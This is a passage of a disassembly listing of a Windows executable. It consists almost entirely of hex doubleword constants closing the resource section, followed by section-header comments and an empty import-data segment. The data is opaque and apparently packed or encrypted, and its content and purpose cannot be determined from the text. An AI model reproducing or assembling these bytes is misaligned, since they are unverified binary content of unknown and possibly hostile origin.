0AF8252Ch, 0FBD4C0E4h, 0C5DDC3C4h, 0AA8FA2A3h dd 861D8291h, 664C6362h, 695E5954h, 3E1F3223h, 6F73114h dd 0C9BED6F4h, 0DEBFD2C3h, 0A69791B4h, 9B7FBA94h, 6C517162h dd 591C3873h, 2E0B3937h, 8F00A22h, 0CACCEBF7h, 0CEADFBB2h dd 999AACB3h, 98709597h, 7E284D76h, 2C045856h, 2DE52B10h dd 4F41C07h, 0E8A1FCE1h, 0C992FAB3h, 9965ADB2h, 864C969Bh dd 3D317670h, 4F0F6907h, 21E92925h, 16E47A01h, 0E695EEFCh dd 0CA80DFC7h, 0BB649DD5h, 954D93B0h, 62366F56h, 4417595Eh dd 50C32832h, 36D61E30h, 0C3A7F7FEh, 0B087C1DEh, 9776BE90h dd 0A6479791h, 12267170h, 7F17597Eh, 3EF63836h, 1ECA3A1Ch dd 0FFA2D2FCh, 0F5E3FDDCh, 0BC4EA8BCh, 914F899Eh, 702A7C53h dd 34255857h, 7F0381Ch, 11D00E02h, 0E6ADD9F6h, 0DB90DEDEh dd 0D545A4A9h, 0A25098BBh, 50357378h, 78005254h, 17E0333Ch dd 2C0397Dh, 0E6A8FBC9h, 0DE91DFEDh, 0B242DE9Ch, 8A40A88Ah dd 7629766Ch, 4C03783Fh, 2BF43A09h, 3DC81016h, 0DFC6DEE7h dd 0D7B0CBDAh, 0BC6BAAB3h, 96416E49h, 6D294C52h, 78062E29h dd 2DED2660h, 1DC6E8D7h, 0DDBBD6CFh, 0DA8DB3A9h, 0A37A8E94h dd 95454501h, 5B264243h, 59052F2Dh, 3BE52F61h, 18C3CFE5h dd 0E3B8C2D3h, 0DBA7C380h, 0BE63B591h, 0BD4D4B75h, 1B29494Bh dd 5509350Dh, 3EE00C24h, 0BDCE4CFh, 0DAABCBCBh, 0DE9C8AC2h dd 0B37EB58Ch, 8F5E6360h, 733C7723h, 4F1D2220h, 35C85550h dd 7CDAF4F1h, 0FFA1D5F3h, 8F9DB4A6h, 0A56BA9D1h, 987D0870h dd 74164D45h, 6E702C28h, 34D61D01h, 9F1ECE8h, 0FFB9DBD0h dd 0CE95BDB1h, 0BB43E9A5h, 92584C71h, 773D7B40h, 4C173F2Bh dd 2AF73865h, 1BDEE2C3h, 0FBBFC2F1h, 0DB9E98C5h, 8A129B80h dd 8F526168h, 68314470h, 56322B09h, 994080Ah, 0AC0FFEFh dd 0F395C1C7h, 0BF97A2AAh, 947D9FB1h, 6C5C4862h, 541B2E42h dd 351F2A06h, 12C51A14h, 0ECDCF8EEh, 0D3B0C9C2h, 0A59EA193h dd 955BEE89h, 60537D4Bh, 48104A5Ch, 0F762A24h, 4E42C1Ch dd 0D1D3FBE9h, 0C4B5C0DAh, 8FF6BCBBh, 8764AC9Ch, 52526468h dd 47345F5Bh, 3A32233Ah, 21E33E69h, 0F6D6F5FBh, 0C1B2E3CCh dd 0AC98B9BDh, 0AE63BEE9h, 6A6E616Bh, 4517464Fh, 371B3419h dd 63F61E03h, 0F3F7E5C4h, 0CA9EDFCFh, 8DF8B4A6h, 8168BE9Eh dd 6B4B4265h, 572A5748h, 21123D1Fh, 10D77205h, 0EADCE2C4h dd 0D0BAD7F8h, 0C497BDA2h, 974986A5h, 665F6763h, 57336558h dd 291B2638h, 0AF71621h, 0CBBAEAFEh, 0C0AFE2D8h, 0BCA9AABEh dd 8B7F879Fh, 695D7A44h, 523A595Fh, 46153B24h, 14CC0023h dd 0D0DEE0E4h, 0D3AFC6C4h, 0A3B6B8ACh, 9E699B80h, 6B48470Eh dd 44355B7Bh, 14193121h, 9F5071Ah, 0C6D3C1E9h, 0F4B5C6C0h dd 0A995A7BAh, 0BB4BF589h, 6949454Eh, 5828425Dh, 2711354Fh dd 7EE131Ch, 0FCD8FDECh, 0C6B2D5AFh, 0BC9EB3A1h, 9D7891EFh dd 7D4D7878h, 48304E52h, 3B7E323Dh, 69E81415h, 0EDD0F2E3h dd 0CAB1C4B0h, 0C98AB2BBh, 8F6A99B9h, 7E5A7663h, 59305472h dd 241E1034h, 6AFA1415h, 0EFCBF6D8h, 0DEBAD6C3h, 898BBD96h dd 8E71969Eh, 6F256D71h, 5F014D61h, 25C95937h, 5D21C06h dd 0FB8FEDF7h, 0ABA1D7D7h, 0A974B79Bh, 99459781h, 63246A5Bh dd 6C0D4861h, 39EF1354h, 8CF0811h, 0ECA4C8E0h, 0C188FCD0h dd 8A40DAB1h, 0A671BBA3h, 4B6C2925h, 7D62777Ah, 23C13C33h dd 24C70819h, 0DDC2E2F3h dd 0DFADDCD3h, 0B549B5B3h, 0B05ABE8Eh, 76264E18h, 43064969h dd 3DE20A21h, 9E6190Dh, 0F4919CD9h, 0C586EFDFh, 0A76FBD8Eh dd 0B25BB99Ch, 16AD9E1Ah, 5B35F511h, 0BB845D5Ah, 708031F7h dd 96AE9DF0h, 0D9B7EDEBh, 84C856DFh, 0A1742970h, 47145E76h dd 0A8F0C16Fh, 0D6856E70h, 0E05A72B8h, 95F5B239h, 76ED7A3Fh dd 7F80538Bh, 0C425CEE8h, 172C4FE1h, 0A2993154h, 57B67317h dd 0F3A9BFFBh, 97C69F0Eh, 0D7B2D7EEh, 0C8DDFDEh, 35ADFF95h dd 192F604Ah, 53675040h, 59ED3262h, 79C7D4E8h, 0C8C7CAA0h dd 2C189093h, 0DA37CC6Dh, 6FD7585Eh, 1A7909ECh, 661DBDC4h dd 4F09EFEAh, 764A82B1h, 8AC9372Ch, 6BEAC2F1h, 9F6B1B6h dd 0D7578689h, 94C62412h, 3B6B5F7Ah, 0A474308Ah, 0EA2E0F7Dh dd 16CB948Eh, 0BBF0414Dh, 23480CE2h, 79A7FAFCh, 1C7D0AA2h dd 27E1C9CEh, 6E656663h, 0F752797Ch, 0ACE12326h, 0C82D43C3h dd 44826BE8h, 152E071Fh, 0E2B0D739h, 0FE308FCFh, 5D8F8031h dd 0FCF28884h, 0ADD52E49h, 3026FBC4h, 0EE2F0861h, 0AF645805h dd 4F007A74h, 1270DFBAh, 5A166A55h, 0B32475A1h, 0C3D19A8Eh dd 0EBF1CE07h, 0DF11EA0Dh, 12B35606h, 1F633693h, 0AAFEB32Ch dd 5FA376E6h, 5F7EDED6h, 9FF9AC82h, 0D9FF0845h, 0FAD56921h dd 20F90D37h, 3A9CA8E0h, 40504D77h, 0A3C96D4Dh, 81DE8CEDh dd 0D32B9E58h, 45E132C3h, 89E49927h, 1350E03h, 220EFEA3h dd 0F4F87218h, 61A5748Ch, 80B93403h, 2B5EAEA8h, 0C1F5CFC0h dd 293E16EBh, 0F1FD8469h, 27224E8Fh, 0A983AD0Eh, 6D51ECABh dd 0D16204DEh, 0F6866322h, 90A78FA3h, 76E91083h, 3073C97h dd 0A85BF4A9h, 735B59DFh, 0E0405B6Ah, 84709760h, 0A33FB0C0h dd 0F48743h, 0C8E06583h, 803D113Bh, 0E46B3923h, 0CD62E109h dd 54B486FEh, 95A668Bh, 5A72D0E9h, 719A402h, 0E51819BEh dd 8464120Ch, 154244C1h, 0BEE4D94Ch, 0E6994240h, 85B1B6F0h dd 0A56036A3h, 2978D2CCh, 0E619F0E4h, 73E7B59h, 0B3A5332Dh dd 464A7F64h, 0E2178FE6h, 86BB97A9h, 0A6B0E3ADh, 0C6FAD725h dd 0B348A5EDh, 92C4430Eh, 276B180Bh, 0D0F69D7Dh, 679B756Ah dd 85D1C5DFh, 0CFDADEFFh, 87FBD4CEh, 198E0BBCh, 9E3C2524h dd 7328C3AAh, 4C14011Fh, 3F9C756Eh, 0A8982170h, 57DCB5ADh dd 0F8D00C5Ah, 2999ACEFh, 1DDE0064h, 4389BD60h, 1E2C0450h dd 1C088926h, 0D0BDA6BCh, 79A87635h, 4682986h, 671DC6DBh dd 5D6C5346h, 0A706735Bh, 4A7F53C6h, 0AAADDC71h, 79E787FBh dd 0FA8EE71Ah, 9AAE8781h, 128B08A3h, 8A3F2839h, 2B5D30F6h dd 6F0BA752h, 0A20A877Ah, 0D8BFA8BEh, 87162D4Dh, 9A2D8E2h dd 0D29FF8F6h, 4A416C19h, 391CB4B8h, 55635963h, 7CA0ECFEh dd 5DC399A3h, 283246E5h, 3288D613h, 0E120F9F4h, 0E41EA91h dd 145FBA35h, 0CEC74A20h, 0EAAE7A4Bh, 8EC19A74h, 0DBC18435h dd 0F1809C24h, 0B76FB3A6h, 0DFC93962h, 7F637DF1h, 3AD3957Ch dd 23F42A77h, 0BC030E68h, 8BBBBB87h, 6E87D416h, 1B22FBF8h dd 12431CA8h, 603302B8h, 0D78C0A10h, 72A37CDCh, 3ECB5A1Ah dd 36ECB185h, 0D303DC40h, 756DCC6h, 1B7E21B7h, 3464B1BEh dd 7489F05Bh, 49845D5Bh, 0E0A1FABAh, 8848C2CEh, 5478A8FBh dd 9E040282h, 67306A69h, 466640BCh, 23AA7167h, 89E2B815h dd 2CF4919Dh, 0B6E599ADh, 28573C2Ah, 0C809976Bh, 48862C1Fh dd 0D0366F6Fh, 58865F56h, 16D1103Bh, 0FCA7F0F3h, 697340BFh dd 5C06EFF3h, 0CA1174C0h, 0E2CDA8E9h, 6868716Ch, 598B6108h dd 2FF9D004h, 4C5D5EF0h, 34E8F1ECh, 0EA139175h, 331A5201h dd 481A7275h, 0AF951210h, 5ABA4F60h, 858E8706h, 0AAE16E34h dd 3A293BC1h, 0EB1F8C6Ch, 38D20502h, 1F6879A9h, 3B6C45AAh dd 0B60D3862h, 7B9C98FFh, 0AB8F1829h, 0E67C5F2h, 0DC3CD5A9h dd 71A6FD00h, 1C7E1764h, 0B9E5E2B0h, 5CBE5720h, 4C911208h dd 19CDA793h, 0BCDEF7F4h, 5566E56Ah, 22F0817h, 2D7C40B1h dd 61B9A244h, 34E60C20h, 2DECECE7h, 0F4A3D0CCh, 0F09CA8A7h dd 0AC7F8481h, 2C020A7Ch, 0E800E4AEh, 0DFF1199Ch, 5DD20166h dd 14E0DC7Ch, 256726BDh, 7F2FBD8h, 0DF12EBF2h, 17E088Bh dd 79ABD2D9h, 7270C0EDh, 5F946D66h, 383926E0h, 7BE606A2h dd 5D5FAB6Ah, 0D381601Dh, 54353E37h, 0DF07284Dh, 7059D7D2h dd 44E1E567h, 98710D8Fh, 25DA6E22h, 0C0F5CF62h, 0C17DEE8Dh dd 57360F09h, 0B4A92442h, 414663E9h, 0EA9A31E3h, 1C3F9FC6h dd 0A1E69F9Fh, 0F1CD4241h, 197EFD8h, 0DC8E009h, 223D6378h dd 0F7885623h, 62A7405Ah, 0AEF20576h, 5D87B099h, 0F2C7E37Ch dd 2E820FE9h, 5B382121h, 2CCBF1AFh, 437905CEh, 5819176Ah dd 8FCCCBC7h, 0CE4D4EF9h, 2AF8E1E6h, 0E418F0ABh, 4F1AC86h dd 9356322Bh, 30F44C05h, 60F16D5Ah, 0D3B9928Ah, 88F82754h dd 93AFD2FBh, 0CEF06714h, 46B1133Ch, 0AE993010h, 96792B1Ch dd 0EEBA01E7h, 0B1378BC6h, 0A677E29Fh, 0C482520Fh, 947FA089h dd 0F4D91179h, 0FF6DF74h, 34F07041h, 95982D49h, 89A7C606h dd 0A595B01Ah, 44CF5F1Eh, 0A99007EEh, 38899C06h, 0AC5C051Eh dd 70C96E78h, 159C455Eh, 0B009BE0Dh, 9CDC859Eh, 0F7CCEE7Bh dd 999FFAEEh, 3BC2E9F0h, 6BE8BFEFh, 0C17D667Fh, 58AD31E2h dd 0E2EDC68Fh, 0A9B7E6ACh, 0C8FDD6A7h, 6CE2A16Fh, 90E0268h dd 2AFA2CFh, 0C4815760h, 69AE6208h, 86416F13h, 56218C34h dd 0FA7B5E2Fh, 801EC7C0h, 5C3F7211h, 4BCAC761h, 0C17F687Dh dd 5AAF3FF4h, 885F5991h, 0AAB5E8E1h, 0E6C24D2Eh, 6E96F8C1h dd 0B702959h, 2B0AEDB9h, 1BB2A600h, 5B93CC8Dh, 1E3F99A2h dd 0ABD095EBh, 0FC335C59h, 0E9A9F9C3h, 0C0D4E530h, 0A6610A1Fh dd 0F80A6607h, 6D914A3Fh, 0B9DBCE1Fh, 38CA443Fh, 0CE31EAE3h dd 0DF66777Eh, 24EF1B26h, 0D58090F4h, 52F6DEDBh, 3EF37B46h dd 0DE93CBC5h, 83E32E49h, 2F52DBE6h, 0C1093662h, 6266DF18h dd 54591602h, 3DE13D36h, 3199181Dh, 0FDA6F4EBh, 9FD18FD4h dd 0FE6FB0BCh, 0A023CDD4h, 56104E43h, 46276177h, 3DE12F28h dd 1DCB3E0Eh, 0FFABEFEEh, 0EF90D8E9h, 0A276B889h, 86419E92h dd 742D4D40h, 74015B4Eh, 26E03D3Fh, 14F5220Fh, 0F0A8FFEEh dd 0C697DBC8h, 0A46C9880h, 9B448998h, 7B294F72h, 6B1F5C57h dd 39E72B0Dh, 13D41E1Ah, 0F1A9EDCEh, 0EB83D3D7h, 0B072AA9Fh dd 834F8D90h, 69064445h, 5A0E2C30h, 36EE1401h, 35FBF3EEh dd 99B3D3C9h, 0EDA18F93h, 9F55A1B7h, 99414C5Dh, 753A4D53h dd 6D353627h, 35ED0C08h, 39F5F1F6h, 0FFBBD0D4h, 0DFBFB6AFh dd 0B4609193h, 836F5F6Ch, 69244852h, 6F6B3627h, 3EEC1603h dd 8C4CCF6h, 9BC9A4D6h, 0FFB894C2h, 0AE7BE2F2h, 91457D6Ch dd 7739480Dh, 4C012831h, 32E44802h, 32ADE9E5h, 0BC86E5EAh dd 0CC8EAAB0h, 0BA658F90h, 0B87D520Eh, 572B0876h, 1D21010Bh dd 2FE61E42h, 779CFDF0h, 9DCF40F1h, 3CB2C8C4h, 0EE2F0E09h dd 91B5CF05h, 1E511A30h, 125CDFBAh, 0B6506A55h, 14E0FE9Ah dd 7F6421BBh, 0E7F1FAEEh, 0AA3FD649h, 0C1B36D2Ch, 3C2631D9h dd 1382F1CBh, 29186C56h, 1916DB84h, 91562103h, 30F3FCEDh dd 0D038D863h, 46BDF707h, 0DE1AA1DDh, 0A275FCBCh, 9F21E0A8h dd 0E8B4BDABh, 0A0D4ACA3h, 0F9613291h, 814DDCBh, 1350E81h dd 34FCABA5h, 2B254E78h, 9E9B0468h, 0B199C71Dh, 85A92DA8h dd 0B080CAC0h, 0E215E600h dd 41705C09h, 6E1A6B07h, 5FE3B049h, 69965F45h, 0E8A2FB49h dd 0CA3EFFABh, 3D093030h, 0D33D367Ch, 77F7950Ah, 0CB87CF28h dd 43775041h, 3CD43639h, 0C799C3C5h, 5CD7FCE6h, 0F3DBCD5Fh dd 1D5618EAh, 0B1B5EEF4h, 24681DD4h, 44795523h, 0F167276Bh dd 8488BDAAh, 0A4D8BC43h, 96BC8DCBh, 0B75DA7A2h, 517C4E5Fh dd 0DA0F326Fh, 7552BBD9h, 659E9A6Ch, 0CDE5928Ch, 0F68DE1E3h dd 500684CCh, 0E629D905h, 576BDA3Eh, 4C0B3047h, 467A3B4Ch dd 99CC336Dh, 0B6916218h, 592230ADh, 4BAAF0B9h, 0D7360C78h dd 9CB6990Eh, 4D5B0409h, 5D13064Eh, 369B746Eh, 0F22E6BDEh dd 58DB8482h, 0F7D0195Bh, 0E8101CEEh, 5B69150Fh, 1A6F676Ah dd 4301161h, 29098A6Fh, 60BCA5A3h, 0A8DCB5A5h, 0BA8CA6B8h dd 8F689B86h, 0F66D1651h, 1976EFA5h, 0ACF8DF50h, 669D465Bh dd 0DB301BA1h, 20DD86A9h, 0F9D12155h, 7FE2A7F0h, 0A0E3B50h dd 2A5A5FA2h, 0FFF35751h, 6AAE6E2Eh, 57031AC8h, 42DE879Dh dd 3501252Dh, 4F9B3097h, 0B3F2832h, 8DFABB62h, 4B7F6872h dd 4BFBEDFFh, 0DFEF98A2h, 0ABB5B9D8h, 0CBFDB080h, 79E078F2h dd 0C7035F2h, 593AF9B6h, 0DB0DD471h, 3EA04953h, 394D9FF9h dd 0ACD09917h, 9D508F87h, 7BDFABA5h, 0E7136F0h, 0F3F4C56Dh dd 88816A79h, 5E8F84F0h, 0E0299A95h, 511E4547h, 0FF13A758h dd 0BCA43DF6h, 46422B02h, 0D8516463h, 0AF7DA90Eh, 65EEFEB0h dd 0C4949BA7h, 0FA0A8FE8h, 16FD2425h, 0C237B77Dh, 4D3B4A19h dd 0C058D40Dh, 0D744A3A6h, 72936935h, 0C6B5F9CFh, 376E758Ah dd 0D333EC96h, 0A572ADABh, 45154C4Bh, 1851A8C4h, 0C17B5D6Bh dd 74945156h, 0E1DB755Ah, 0B4E855CFh, 9D57DDDBh, 0A665AAB0h dd 5A013054h, 0A39A3E71h, 56B5721Ch, 76A57295h, 0C58DCD9Dh dd 0D7B3CAD8h, 9660ABB1h, 6DDAAEFEh, 187634C6h, 0C7D3B2ACh dd 30866F73h, 78A67FB7h, 67C6F5C9h, 88CAA62Ah, 0B9352DFh dd 7427301Fh, 2965E69Dh, 6E3A1740h, 726DF49Fh, 0BD2B81B0h dd 765D2CACh, 0E9E8F1DFh, 8C098BB7h, 0FA2B6A53h, 0C9B5A321h dd 0C5905EA9h, 6837E09Eh, 7AAAB394h, 12A2A8D5h, 45EAC3D2h dd 0EB268A74h, 0FB27EC02h, 481B2522h, 827060Dh, 17C84B50h dd 0EE5385CEh, 9BFC89E3h, 0BBEBAD51h, 6981E5E2h, 0FC1D1EB5h dd 0B1F3AA7Ah, 0D46E776Fh, 0A37196EFh, 7CAE8B6Bh, 0D287F0A3h dd 0E8AB898Ah, 9142A3CDh, 0BCBAF704h, 98501908h, 8F44684h dd 0CE906966h, 7DB08CECh, 696524A4h, 0E4F0F9DCh, 0F2D95469h dd 0ABD90A35h, 9DADD4D4h, 0E5E86F8h, 0DA9D6B65h, 7EB28995h dd 9F424724h, 0D6A6CBC5h, 0DF12EAE4h, 0D39E99F9h, 0DBD52D16h dd 3F744CD6h, 3540E636h, 0EA4BDF86h, 9FE4816Bh, 0CAAD0D43h dd 0F39C85EBh, 95CA0E07h, 2065024Eh, 0FDF6ACACh, 60A54EC1h dd 0D9CFB87h, 90F50422h, 550A9EC7h, 0E125C25Eh, 8539CF8Dh dd 21562EA1h, 0CA7A0FC3h, 0EEA69068h, 0B196290Dh, 5F5369A8h dd 0C0F6FFE6h, 0E37CEF82h, 97C81263h, 22671CECh, 4D88A8CAh dd 629610EDh, 173A0389h, 0A2E7900Bh, 91A5C0A3h, 0CFA26516h dd 0C3BD113Ah, 2218B425h, 0FEF5514Ah, 63A851AEh, 0F250993Bh dd 0CB274E5Ch, 0C3F8D15Eh, 6DFEDAB4h, 0FB6D363Fh, 147503BEh dd 96C4DF4Bh, 0D599424Bh, 72EB7A8Ah, 31544D54h, 0C4C9F274h dd 0F171F281h, 573A130Ch, 0E4CFCC7Fh, 0C87A6360h, 0E88E5728h dd 0B58ADC19h, 13D5E3ACh, 0E1BE58C6h, 0EEFA32F8h, 143A5E0Fh dd 6C493667h, 623F5F4Eh, 697AF465h, 0D7B3744Ch, 0B6FFF0A6h dd 4BABE632h, 0D7370B50h, 720FD0Eh, 979352Eh, 695C2D78h dd 5DBC5B4Eh, 0A999B0ABh, 0DFF9CD96h, 0CD8FF0EEh, 0A655BAA4h dd 0F76A162Fh, 1876D3BAh, 0E4B9D74Fh, 29D766Fh, 0DBEAC68Fh dd 841C2350h, 4576D6FFh, 0E92DE3DDh, 12DD177Ah, 7853FE5Bh dd 497E52B8h, 0DBB5170h, 76E9979Ah, 99F55225h, 0C53A54D0h dd 82151CA0h, 0A3F1819h, 0A8785BCh, 19285861h, 465EED8Eh dd 4A3A98A1h, 1F52ECCFh, 0CACFF42Eh, 0FE2D5D72h, 86401922h dd 1B4EC7BFh, 214E7252h, 38F62872h, 0A77D0C6Dh, 5363B982h dd 5D2FA7D2h, 58AD0778h, 0D7136EBh, 83933784h, 0A5E14A21h dd 925E8C2Eh, 6ED6E8F5h, 0AC9637BDh, 18A303Fh, 52AC34DEh dd 0F7237E9h, 0D8E59FC5h, 0B0D1E2BDh, 5F8ECAE3h, 0E07F1B96h dd 0AEE28BA3h, 0E06AF1A2h, 0E22FB82h, 216F758Dh, 0CFDEBC38h dd 51836C76h, 0F4646D0Ch, 91F3BC3Eh, 0B1E3BCB8h, 0FCFD591Eh dd 1A23FCC9h, 0ECBBE312h, 3360FF67h, 7D7BE8D7h, 8CF27D4Ah dd 0A3E8900Fh, 4C1C3EBAh, 0D4BF59D5h, 70ADFDFBh, 15752E1Fh dd 0CA333E56h, 65A903C9h, 7A65FB7Ch, 95C53A18h, 0E52595BCh dd 8606B48Ch, 0F74DFF97h, 41861F1Eh, 1C97AAC1h, 0AF055F6Eh dd 45227081h, 1EC69F9Ah, 87D6B83Bh, 0D38B52DEh, 7426CFCFh dd 297733B5h, 53351140h, 0CC783060h, 7997AC95h, 96385823h dd 0B9E3C044h, 25078AE0h, 0CA1806B4h, 0BDCDD21h, 0B969726Dh dd 0DE869D99h, 7AA98168h, 0AAD22728h, 73DAC2F1h, 8B5821E2h dd 0AA2E6953h, 2B4C91DDh, 0AE944472h, 5BBB4F97h, 0FFA44407h dd 9BCBA767h, 3E620DF1h, 0DC3BD4FDh, 947D5452h, 1C42263Ch dd 79F8B913h, 0D98D564Fh, 2298943h, 15CDA6A0h, 8CDDE546h dd 968625E3h, 9D7DBF3Ch, 0CF7C2824h, 0CC988947h, 0D8068993h dd 7D9FB8ABh, 25F3E32Fh, 0BDEFD308h, 1F0C3AD7h, 1FC7F8F2h dd 2E76AFACh, 31B24A75h, 0A79721D2h, 2D3CBC66h, 0DD66A5BDh dd 0F721C9D1h, 0DC392B8Eh, 0A0088AD6h, 0E63D4551h, 0BC3A5232h dd 2D92601Ch, 43F80759h, 9CC7EE2Dh, 0FB7EDC84h, 39E413AEh dd 850FCC24h, 20641D3Ch, 4FF1484h, 0E81D6143h, 80B48D3Fh dd 91176D94h, 0F0DAFAF5h, 0D03ADDC9h, 4A414028h, 5139405Ah dd 2F1C6029h, 6B98010Eh, 0E7DCB2ABh, 0C4B8CFDAh, 0A287BDE8h dd 967DCCD5h, 2D0C7F7Dh, 69226106h, 321A213Bh, 0CFF4108h dd 0F099E0EFh, 0CBE980CAh, 0E2D4FEF4h, 9772869Eh, 23062D62h dd 443E5542h, 724A2422h, 1AE3034Ah, 0A18AF5E6h, 0C7A5DFC8h dd 0F3CDA2AFh, 0CB2BCEC8h, 654A7762h, 29665446h, 0CF86DA41h dd 54A86AE6h, 7F6218Bh, 0A2AB542h, 0FB79D8BEh, 8B6ABA9Fh dd 8EFAE679h, 3ED4B9D2h, 0F579627Ch, 6070F150h, 6BCC3C7Eh dd 0D0F68D2Ch, 0C4BE593Bh, 39C62DC9h, 49782ED2h, 0CE2F6A69h dd 0AE847802h, 669A7141h, 86BACBE5h, 5732E8ADh, 0B2052C30h dd 0FC9778CDh, 8A3B243Eh, 0E870351Ah, 7447D900h, 0E03F8793h dd 86C51957h, 806E0123h, 3407D4FEh, 2790374Ah, 0B5B11EE4h dd 286C1BD0h, 7BA3DEB3h, 9A0D9A6h, 0F28093FDh, 88F0B7D8h dd 0BCA0E965h, 9D32C903h, 7C3D2ACDh, 0A260D5D8h, 1AF89051h dd 699D4640h, 0CCE5D3ADh, 94EFC2B0h, 0C9AF9583h, 1538DD84h dd 373EE8EEh, 2A136379h, 1A434525h, 1E9E2739h, 0D9FFAA9Ah dd 2FD1B7E1h, 35012990h, 0DB4D720Fh, 38D41822h, 0D4A1A7DBh dd 767CD3ADh, 28D13125h, 75981C9Dh, 0FCE2474Dh, 0C4B18D91h dd 13E1E476h, 4F1724ECh, 0A86F0B00h, 0B37FA742h, 38F3294Eh dd 8A4496DCh, 9F1F464Dh, 302E3108h, 6A2F060Bh, 0F1BEE7ECh dd 3889E806h, 0A6815A55h, 915E842Ch, 8EC19A7Dh, 4360E7B5h dd 0CF31F3ECh, 0F020C81Fh, 22BD7F17h, 418EBCh, 0D9E65B67h dd 231FFB55h, 91C2ABA7h, 1E0AB1C2h, 38FD2429h, 0F222FAEBh dd 5F7D9D7Fh, 3AE63363h dd 0D9835C58h, 0ACA04027h, 0C2F81DFFh, 4A66B3FCh, 2403DCD9h dd 0D423EAB9h, 914B1D1Bh, 34643DD0h, 56D81EADh, 7445F974h dd 0EA459D9Bh, 94C49D9Bh, 180D2FBh, 1E24FDFCh, 0E9BAE3BAh dd 36ACBC32h, 140E5E5Dh, 66EFF575h, 92B65FB6h, 0B30E7E8Eh dd 9D8C16DEh, 0D3A077EEh, 0F0462F2Fh, 0C799C269h, 5886F0B7h dd 5F3BF47Fh, 9BC6AFAFh, 88D69422h, 256837DFh, 7D28FFFFh dd 194821AFh, 94BF4CBh, 7036150h, 917682BCh, 66375CF7h dd 0F369BCB2h, 0DA0881C4h, 0ACD789E1h, 975E5922h, 0A7A43F4h dd 4AF06061h, 7AAC7038h, 3F39F4A1h, 0B809C270h, 85554712h dd 691A0B50h, 1BCEA2AFh, 0B20A4542h, 0A473FEF2h, 9E7C6D7Dh dd 10965A5Dh, 0F1EFC988h, 0DA4D68F2h, 75054528h, 1C4E78A4h dd 1C288043h, 7CAE4743h, 0F786CC0Ah, 1945B7E9h, 0BCDEF7E4h dd 0AE06ADDAh, 0F5658107h, 9E406B25h, 0B6701127h, 6DA046E1h dd 75F28884h, 0AE80EAA5h, 9F7BAD16h, 86126680h, 0CE36B786h dd 11522B15h, 0C18EDFC1h, 7D27949Ah, 81B2BBB5h, 0AEFEC630h dd 0A14734C5h, 2012DBD5h, 0CF18C193h, 14D9A026h, 0B2747D76h dd 6FA47EF3h, 15E6DC86h, 986152A6h, 40F4FDF6h, 0D0388873h dd 780F107h, 0DF551E17h, 705E83D2h, 9F20E367h, 7FB5BEA9h dd 90E5AD12h, 550A98C7h, 0E125C2BAh, 3131AA8Bh, 0E2562F18h dd 41764FA0h, 60FC3268h, 0AB5B6209h, 518EAF98h, 0B9730EC7h dd 6716DFFDh, 0CAB4D3C9h, 0E358C0D6h, 726228CCh, 72AAB369h dd 0F7B7BA89h, 0DE56D6B5h, 0B39BDCEDh, 0B77E39Ch, 0FCC7EECEh dd 78B0345Fh, 0AB87AEB7h, 9C678EB8h, 0AE47BFEBh, 0B1ECE7D2h dd 0C3F8F472h, 41F091EAh, 71C6EDF4h, 1DB912h, 0BBCCDF7Bh dd 0EF994245h, 5DF9ADBh, 0D7DBB491h, 0C49184EEh, 6E190DEBh dd 573A79C8h, 8CCFCC7Ch, 0C67A6360h, 5B1B7BA8h, 0D985ACD0h dd 6359B0D9h, 38F23BC8h, 99F20C13h, 67C4EBF2h, 262F8CEEh dd 0F790544Dh, 669B5BD5h, 86AB7C8Dh, 8619B4ADh, 0C6CB6CCDh dd 0E4F3F4EDh, 0C53C150Eh, 73D1350Ah, 69B1596Ah, 1B9C8DEDh dd 8754F597h, 2CDCB5AEh, 9ACCF19Ah, 59DEF65h, 80D3DB8h dd 0D7B331C7h, 4CBF37B0h, 150Dh dup(0) _rsrc ends ; Section 3. (virtual address 0001F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0001F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 41F000h align 2000h _idata2 ends end start